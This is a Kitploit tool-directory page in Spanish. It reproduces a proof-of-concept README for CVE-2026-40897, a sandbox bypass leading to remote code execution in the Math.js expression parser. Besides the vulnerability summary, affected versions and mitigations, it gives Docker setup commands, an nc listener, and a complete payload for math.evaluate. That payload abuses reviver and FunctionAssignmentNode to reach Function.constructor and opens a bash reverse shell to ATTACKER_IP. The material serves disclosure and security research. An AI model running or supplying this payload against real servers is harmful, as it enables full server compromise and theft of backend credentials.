Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-40897 — RCE en el analizador de expresiones de Math.js | Kitploit
Herramientas/GitHubGitHub/eqstlab/cve-2026-40897
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebAprendizaje y EducaciónHerramienta de Acceso RemotoDesarrollo de Payloads
GitHubeqstlab/cve-2026-40897

CVE-2026-40897

RCE en el analizador de expresiones de Math.js

Ver Repositorio
2hace 2 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-40897 Ejecución Remota de Código en el Parser de Expresiones de Math.js

★ CVE-2026-40897 PoC de Ejecución Remota de Código en Math.js ★

https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898


Resumen

CVE-2026-40897 es una vulnerabilidad de Omisión de Sandbox que conduce a Ejecución Remota de Código en el parser de expresiones de Math.js. El filtro isSafeProperty solo comprueba el acceso a propiedades desde expresiones de usuario, no desde rutas internas del código. Al filtrar el array interno de ArrayNode mediante toJSON() y sobrescribir su .map, un atacante puede forzar al código interno a acceder a Function.constructor y ejecutar JavaScript arbitrario.


Versiones Afectadas

CategoríaVersión
VulnerableMath.js 13.1.1 ≤ versión ≤ 15.1.1
Parcheada15.2.0

Impacto

  • Ejecución de código JavaScript arbitrario (RCE)
  • Acceso al sistema de archivos del host
  • Conexión de reverse shell que conduce al compromiso total del servidor
  • Exfiltración de credenciales del backend y datos sensibles

Entorno

root@kitploit:~
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln

PoC

Después de iniciar el entorno vulnerable, sigue los pasos a continuación para reproducir el ataque.

Paso 1. Iniciar un listener de reverse shell

root@kitploit:~
nc -lvnp 4444

Paso 2. Enviar el payload malicioso

Envía la siguiente expresión a math.evaluate (p. ej., a través de la entrada de cálculo de la aplicación).

root@kitploit:~
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()

Paso 3. Confirmar el acceso a la shell en el lado del atacante

El servidor objetivo se conecta de vuelta al listener del atacante, otorgando una shell bash interactiva.


Mitigación

  • Actualiza Math.js a una versión parcheada
  • Evita pasar entradas de usuario no confiables directamente a math.evaluate()
  • Restringe la exposición de funciones/clases internas (reviver, FunctionAssignmentNode, ArrayNode) a través del parser de expresiones

Análisis

  • KR: https://www.skshieldus.com/security-insights/reports/eqst-math-js-rce-cve-2026-40897
  • EN:
Descargar herramienta